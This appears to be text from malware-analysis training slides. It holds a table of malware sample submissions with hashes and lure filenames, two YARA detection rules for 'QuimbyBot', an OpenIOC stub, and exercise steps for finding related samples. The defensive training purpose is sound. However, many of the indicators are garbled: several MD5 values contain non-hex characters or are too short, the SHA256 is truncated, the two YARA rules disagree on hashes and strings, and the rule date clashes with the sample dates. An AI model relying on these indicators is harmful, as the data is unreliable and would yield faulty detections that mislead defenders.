<td>March 23, 2015, 1:01 p.m.</td>
<td>d1a39b123d15819df6078072a3d5337d</td>
<td>FAX_20150313_1426242566_167.zip</td>
<td>Zip archive data, at least v2.0 to extract</td>
<td>43/57</td>
</tr>
<tr>
<td>March 19, 2015, 6:22 a.m.</td>
<td>183f6c2bf474fca461890476ddc6ceeb</td>
<td>27fa00794a685fc8a68629a052f0367ea3610977c3808c493f93d2fe6f47a6.exe</td>
<td>PE32 executable (GUI) Intel 80386, for MS Windows</td>
<td>1/57</td>
</tr>
<tr>
<td>March 19, 2015, 6:10 a.m.</td>
<td>8180a35bd0b9a03a8143e82ec68f3d6d</td>
<td>fax_23134.exe</td>
<td>PE32 executable (GUI) Intel 80386</td>
<td>33/57</td>
</tr>
<tr>
<td>March 19, 2015, 5:08 a.m.</td>
<td>c4f666eb41777b2aaaf4f8mbcc11f4d</td>
<td>Invoice.exe</td>
<td>PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows</td>
<td>29/57</td>
</tr>
<tr>
<td>March 18, 2015, 8:59 p.m.</td>
<td>c4f666eb41777b2aaaf4f8mbcc11f4d</td>
<td>Invoice.exe.runtime</td>
<td>PE32 executable (GUI) Intel 80386</td>
<td>21/57</td>
</tr>
<tr>
<td>March 18, 2015, 8:30 p.m.</td>
<td>87cd839caee07ec5f0100ede0b03307</td>
<td>Documents_IP3922PVI.exe</td>
<td>PE32 executable (GUI) Intel 80386, for MS Windows</td>
<td>18/57</td>
</tr>
<tr>
<td>March 18, 2015, 6:14 p.m.</td>
<td>1c4435426c979772c232427a5s5s3a3</td>
<td>SignedDocuments_AN994266SKR.sc_</td>
<td>PE32 executable (GUI) Intel 80386, for MS Windows</td>
<td>33/57</td>
</tr>
<tr>
<td>March 18, 2015, 4:28 p.m.</td>
<td>f36c9f8f6a1d8c9ee4f97111e9c9746</td>
<td>Documents.zip</td>
<td>Zip archive data, at least v2.0 to extract</td>
<td>3/57</td>
</tr>
<tr>
<td>March 18, 2015, 3:36 p.m.</td>
<td>86ef282324dc8c5775953227ffad73</td>
<td>HSBC-2739.exe</td>
<td>PE32 executable (GUI) Intel 80386, for MS Windows</td>
<td>45/57</td>
</tr>
<tr>
<td>March 18, 2015, 3:33 p.m.</td>
<td>2e3876bf86db09b6e1934366dc6768f7</td>
<td>fax_23134.exe</td>
<td>Zip archive data, at least v2.0 to extract</td>
<td>16/57</td>
</tr>
<tr>
<td>March 18, 2015, 2:22 p.m.</td>
<td>1778b4f40404f2f440db8323d1edadb</td>
<td>new_fax_message6552.exe</td>
<td>PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows</td>
<td>n/a</td>
</tr>
<tr>
<td>March 18, 2015, 1:37 p.m.</td>
<td>87cd839caee07ec5f0100ede0b03307</td>
<td>Documents_IP3922PVI.exe</td>
<td>PE32 executable (GUI) Intel 80386, for MS Windows</td>
<td>3/57</td>
</tr>
</tbody>
</table>
Behold Your 1 YARA Rules:

For your security, you must be logged in to download your rules, you cannot share these links.

Download: QuimbyBot.yar

```plaintext
rule QuimbyBot
{
    meta:
        author = "idiom"
        date = "2015-10-05"
        description = "Quimby Bot"
        hash0 = "f0b2a092678139684812b829cccbe187"
        hash1 = "c88946409ff1259e447bcc2f46a9db76"
        sample_filetype = "exe"
        yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"

    strings:
        $string0 = "AUctype_base@std@"
        $string1 = "August" wide
        $string2 = "\\\{1,3\\\\d\{1,3\}\{3\}"
        $string3 = "- not enough space for thread data" wide
        $string4 = "AV_Node_capture@tr1@std@"
}
```
rule QuimbyBot
{
  meta:
  
  author = "idiom"
  description = "Quimby Bot"
  hash0 = "f0b2a092678139684812b829ccbe107"
  hash1 = "r88946409ff1259e447bccc2f46a9db76"
  sample_filetype = "exe"
  yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"

  strings:
  
  \$string0 = "KERNEL32.DLL" wide
  \$string1 = "<value><string>Another Victim</string></value>"
  \$string2 = "\U0000a0type_base@std@"
  \$string3 = "2$2,282X2"
  \$string4 = "delete[]"
  \$string5 = "C,PjRV"
  \$string6 = "<member><name>lineendings</name>"
  \$string7 = "xdigit"
  \$string8 = "F<{(t)<t>"t""
  \$string9 = "south-africa"
  \$string10 = "November" wide
  \$string11 = "Sunday" wide
  \$string12 = "<value><int>1</int></value>"
  \$string13 = "bad exception"
  \$string14 = "$regex_traits@Q@tr1@std@@tr1@std@@"
  \$string15 = "omni callsig"
  \$string16 = "C,PjVV"
  \$string17 = "F8PjDS"
  \$string18 = "H" wide

  condition:
  
  18 of them
}

Virus Total Stub Generator

You can use this tool to create a stub IOC from the details Virus Total has for a given file. To use it simply drop in an address for a file on Virus Total and hit generate.


Notes:

- This is a stub of an IOC intended to be used as a base to make a more robust IOC.
- The IOC stub is generated from data provided by Virus Total. Not all files have the same data available.
- The format of the IOC stub may change frequently as we refine it.
OpenIOC Online Editor Beta

Name: @iocbucket

Description: This is a stub of an IOC intended to be used as a base to make a more robust IOC.

Module Items

System Items

File MD5 is f0b2a092678139664812b829cccbe187
File Sha1sum is e1b54c96ae66de1f7505b4147587bf3cacc24482
File Sha256sum is edf9dea4102d06c6ab72ee10e190d259944c9e9656a124df4ca8c20805983

File Name is qpc2king.exe
OpenIOC Online Editor Beta

Name: @iocbucket

Description: This is a stub of an IOC intended to be used as a base to make a more robust IOC.

Filtering:
- And
- Or

- Cookie Items
- URL Items
- Form Items
- File Download Items
- Email Items
- Network Items
- User Items
- Registry Items

- Module Items
- System Items
- Driver Items
- Service Items
- Process Items
- Task Items
- File Items
- Disk Items

- Process Handle Name contains QuimbyKit90adsf90
- AND
- AND
DO IT LIVE!
Make sure you have an account for following tools (sites):

https://malwr.com
https://virustotal.com
https://yaragenerator.com
https://iocbucket.com

Ensure you have access to the service

https://totalhash.com
https://cse.google.com/cse/publicurl?cx=010337935378536718712:wuyfjjdqzfy

Exercise Steps

1. Using the indicators you found in the analyzed sample search on Malwr and TotalHash for related samples which can be used to identify common indicators.
2. Once you have identified related samples you can generate a Yara rule and customize it using the common indicators.
3. Next generate the IOC stub using the VirusTotal analysis and customize it using the common indicators of the malware.

20 MINUTES
Close Feedback Loop

Upload samples.

Leave comments.

Join a trust group.

Blog your analysis.
Image Attribution

- Email designed by <a href="http://www.thenounproject.com/saleshenrique">Henrique Sales</a> from the <a href="http://www.thenounproject.com">Noun Project</a>
- Gears designed by <a href="http://www.thenounproject.com/rebwal">Rebecca Walthall</a> from the <a href="http://www.thenounproject.com">Noun Project</a>
- Plus designed by <a href="http://www.thenounproject.com/alex.s.lakas">Alex S. Lakas</a> from the <a href="http://www.thenounproject.com">Noun Project</a>
- Notepad designed by <a href="http://www.thenounproject.com/dys">Brian Dys Sahagun</a> from the <a href="http://www.thenounproject.com">Noun Project</a>
- "Bill O'reilly Flips Out (Do it Live!!!!!1) [DiscoTech RMX]" on <a href="http://www.youtube.com/user/morevidznow/about">YouTube</a>
- No designed by <a href="http://www.thenounproject.com/PiachuNy">Alex Derec</a> from the <a href="http://www.thenounproject.com">Noun Project</a>
- Sad designed by <a href="http://www.thenounproject.com/dys">Brian Dys Sahagun</a> from the <a href="http://www.thenounproject.com">Noun Project</a>